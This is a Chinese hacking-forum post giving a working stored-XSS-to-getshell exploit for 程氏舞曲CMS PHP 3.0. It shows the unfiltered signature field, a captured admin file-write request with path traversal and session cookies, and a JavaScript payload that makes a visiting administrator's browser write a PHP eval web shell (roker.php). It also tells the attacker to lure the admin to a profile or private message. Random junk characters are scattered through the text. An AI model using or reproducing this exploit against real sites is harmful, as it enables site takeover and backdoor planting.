找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2482|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
5 q( w& k! t3 R官网已经修补了,所以重新下了源码
0 E' A. K; W! ~7 |* C  J因为 后台登入 还需要认证码 所以 注入就没看了。' w0 o) m  i# X  n' ~; [
存在 xss
: S- |7 T$ @4 B3 z8 |: n1 N漏洞文件 user/member/skin_edit.php
' t7 X8 g* a7 E% \/ s6 L, P2 j8 S本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
+ X# t$ l2 F( i6 u4 R; `8 x' @  4 J# b9 J( P; q7 t2 q2 n3 \' m
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
2 V. T. a) {* i  v; ~  
: B+ j6 C. r- K</textarea></td></tr>
  R% B/ @/ O: R: W# c+ }2 O+ l( \  4 k0 z* {- S  H6 l4 ^
             user/do.php 4 u  q! R5 p) r. a
/ B, J/ Y7 u1 i
7 \5 O! T6 O5 ^- o
if($op=='zl'){ //资料8 _/ V$ W8 b7 D) ]% j
  & a7 X6 D3 f6 Q
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) ) o$ h2 i& s. ~* {. j2 U
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));- `% H5 v1 @; F4 i2 c9 z
  
$ q9 ^9 y0 r% e% v, C& ]+ Y6 n             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',* N, r2 U; X" `2 ~5 r
  - F! @, E+ |6 |4 w1 v# S
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
! v5 C+ B2 F0 y+ J  d             where CS_Name='".$cscms_name."'";
0 T( x& z/ A0 a2 |1 M  . S9 m& h: s) j- w3 C5 d
             if($db->query($sql)){
4 v, k6 U8 C; q  J  % W+ `% n$ D, Q
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));" e9 g& K. Z' R9 X7 r/ d
  9 m" n7 n8 b6 Y! D* D7 c6 Y" j, P' G
             }else{
" d/ n  x4 b6 N1 w0 W  3 t) \, t& a, m6 L- J
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));3 f$ N4 y) J2 N" n) a1 V& G
  
2 N1 v6 H% [5 B" n3 a% P9 f             }
. K" N# w! x& }
( k  M$ o3 v# h! m5 _. g0 k: |5 `
! j/ D2 N7 J7 ]+ C" i- h% h没有 过滤导致xss产生。+ Q- n- f3 Y+ s* A/ y
后台 看了下 很奇葩的是可以写任意格式文件。。# k# S5 b. p0 m0 i) L" h3 _
抓包。。; m" F1 X3 b1 L1 ^* R

, w2 L: l8 M% F, X# D- Y- I% c/ W9 D5 F3 H- f* f) j' u( W
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1( F: U, X' [8 @- }% U
  ) a$ O/ F- d% Y( a! z. U* m
Accept: text/html, application/xhtml+xml, */*/ t" m) x% W& f6 G% E, e, r8 R3 x
  
! d# a; j& `" B1 D  N! XReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php! H1 ]" N3 y+ D: t
  5 ^# m* v$ Z6 q$ c  L  X
Accept-Language: zh-CN* l$ X; n% W7 Q( n1 n) E' L+ ^
  " U& ~# w. m* D# m/ b* z2 J& T; Z
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)# A1 @* A, \1 t+ e; [7 V, |
  $ l- n* P1 g6 z8 |% o
Content-Type: application/x-www-form-urlencoded
& G9 O' l+ ~$ u( F# X, |  v  
, C! P, Y( n9 U1 {4 X! SAccept-Encoding: gzip, deflate
' B+ O: t" [7 @  
: }! B0 a% o- p6 iHost: 127.0.0.1
: _) G& z% ^4 q: `0 X, i, n  ! g% d* P: ^) W& t& z4 t* ]: ~
Content-Length: 38- s. H5 g/ o7 t  S. @" ~9 Q
  & A/ r# b, l7 y' r" \* g; N
DNT: 1
2 g7 F1 b/ z3 c3 ]: U! p  % b  b9 p  ^( L& |
Connection: Keep-Alive
* G' T% o) l1 D  " Q# D$ J3 v' n) E
Cache-Control: no-cache$ N0 Z3 D* f+ X- Z* @1 [( r
  + p3 p! ^! ?4 [
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594! T- y  L- M1 v3 x5 Q9 `" C
  
' J! F: ^5 z5 d  R/ [
: V4 b( t$ p2 [name=aaa.php&content=%3Cs%3E%3Ca%25%3E4 j, a7 y' [7 P  o& h0 r
0 X9 E' c# Y) c, Y# U5 m, }$ J

5 _8 }2 z2 j7 P- |3 X" e6 e$ e4 q; @! \& g
于是 构造js如下。; v& y* ^' i& k5 \0 [$ D4 S) l
6 y9 l) v: {( {, J. T
本帖隐藏的内容<script> % V: e' X6 d2 P* C
thisTHost = top.location.hostname;
; n+ p" E2 H& y  * \' a  ~0 r- V7 H, o; y% d3 _6 r/ h
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";7 {4 q+ {! ~3 A
  5 Y1 m5 B$ [6 c* r8 x5 b2 w
function PostSubmit(url, data, msg) {
. b5 C8 z2 r& b    var postUrl = url;! Y3 W! \. P2 c
  ) |: K& B8 q- n3 c2 o
    var postData = data;
1 M( S) I4 X9 b6 c- C    var msgData = msg; 0 d# B* e  g* _
    var ExportForm = document.createElement("FORM");
9 U5 M7 U! r. _. u    document.body.appendChild(ExportForm); 7 w5 m' q& v8 Z5 R% N* c7 k
    ExportForm.method = "POST"; ! e8 K! o9 A4 T+ l0 E" K9 Z: v
    var newElement = document.createElement("input"); 1 g8 U# M; F( ?, q; o+ B
    newElement.setAttribute("name", "name");
5 x9 U* Y  N2 v: f* Z5 x    newElement.setAttribute("type", "hidden"); $ L2 L) B$ O1 d
    var newElement2 = document.createElement("input"); 3 U* y4 p# V4 o9 K* G. E
    newElement2.setAttribute("name", "content");
4 |) p( `* g" w4 ^    newElement2.setAttribute("type", "hidden"); ( r1 S8 s3 C* ?/ A
    ExportForm.appendChild(newElement); 7 ?  q2 I+ e# m4 @& p& I' W5 i
    ExportForm.appendChild(newElement2); * [4 X- x) b* G. z1 H5 G
    newElement.value = postData; 7 _( U- W# y* r' g8 k8 q- s- e7 k
    newElement2.value = msgData; ( w4 f3 O' A* B& A. K  V$ j
    ExportForm.action = postUrl; ! H5 J+ ~* F3 F. P, q) c: {. Y2 w3 }
    ExportForm.submit();
9 o1 H( G! H9 z1 s+ W' l};) F! D' ~# s! Z# t
  
( k$ ]0 P$ p* h. j1 v- v; {( [- S) hPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");% O7 Q" s6 l- w7 S
  , t3 s1 d  p+ O& k" ^
</script># L6 W+ G2 G: x1 p& v# o! b
' [# B% u8 V9 w" n8 W6 X9 ^

% {; d, T9 b, D+ V
! R( _, p) \/ j( Y& M0 n; H8 o% thttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
* u' k! A3 D6 R+ U% T: r7 Y% m& s用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)" q% N9 h+ j0 C3 d. n- W; K& |
就会 在 skins\index\html\目录下生成 roker.php 一句话。
3 H+ C! @% O& ^4 N" [% W2 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表